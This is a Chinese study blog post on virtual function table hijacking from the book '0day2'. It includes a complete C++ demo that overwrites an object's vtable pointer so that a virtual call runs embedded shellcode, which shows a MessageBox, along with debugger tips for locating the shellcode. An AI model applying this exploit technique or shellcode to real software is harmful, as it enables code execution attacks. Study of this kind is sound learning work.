不知不觉,我们学到了0day2的第六章形形色色的内存攻击技术!其中,这张很多东西都是理论的东西,不过!我们还是要想办法还原下发生的现场!
其中部分文章截图 http://user.qzone.qq.com/252738331/photo/V10U5YUk464GF5/ 密码: NQK3S
好久没有写文章了,最近刚买了新鼠标+新耳机,CF幽灵撸起来很牛B呀! 所以一直没时间研究溢出了,今天玩逆了CF,还是看看书吧!哈哈!就有了本文
这篇文章如T:操作过程简单些,所以:先把这个搞定下,鼓舞下士气,哈哈!(xp sp2 +vc6.0 系统下载参考第一篇)
1 // Attack_cpp_virtual_fun.cpp : Defines the entry point for the console application. 2 // 3 4 #include "stdafx.h" 5 #include <stdio.h> 6 #include <string.h> 7 char shellcode[] = { 8 9 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33" 10 "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30" 11 "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2" 12 "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05" 13 "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4" 14 "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66" 15 "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75" 16 "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57" 17 "xFCx53xFFx57xF8x74x7dx42"}; // 427d74 指向 overflow的buf 头,也就是复制过去的shllcode头位置 18 class zhenw0 19 { 20 public: 21 char buf[200]; 22 virtual void test(void) 23 { 24 printf("class zhenw0:test() "); 25 26 } 27 }; 28 29 zhenw0 overflow,*p; 30 31 int main(int argc, char* argv[]) 32 { 33 char * p_vtable; 34 35 p_vtable = overflow.buf - 4; 36 p_vtable[0] = 0x29; // 427e29 指向 overflow.buf承载的shellcode末尾 37 p_vtable[1] = 0x7e; 38 p_vtable[2] = 0x42; 39 p_vtable[3] = 0x00; 40 strcpy(overflow.buf,shellcode); 41 //__asm int 3 42 p = &overflow; 43 p->test(); 44 45 46 return 0; 47 }
就如文章描述一样 我们修改虚函数指针的指向,这里把 虚函数的指针指向了over.buf中的shellocde的末尾!
而shllcode末尾指向了overflow.buf也就是我们的shllcode,当触发test()的时候,就通过与函数表找到了假的函数地址,就执行了shellcode 就MSGbox 了下
其中:定位我们的shellcode 位置很重要, 我教大家个办法
1.在shellcode 中 添加4个 x90
2.加入int3 od断下,在od的数据区搜索二进制字符串
其中没有执行strcpy函数以前,找到的是 全局的shllcode,执行了strcpy()就有两次,如何区分就简单了。。。
----------------------------------------------------
| QQ252738331
| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)
| 微博: http://t.qq.com/zhenw0
----------------------------------------------------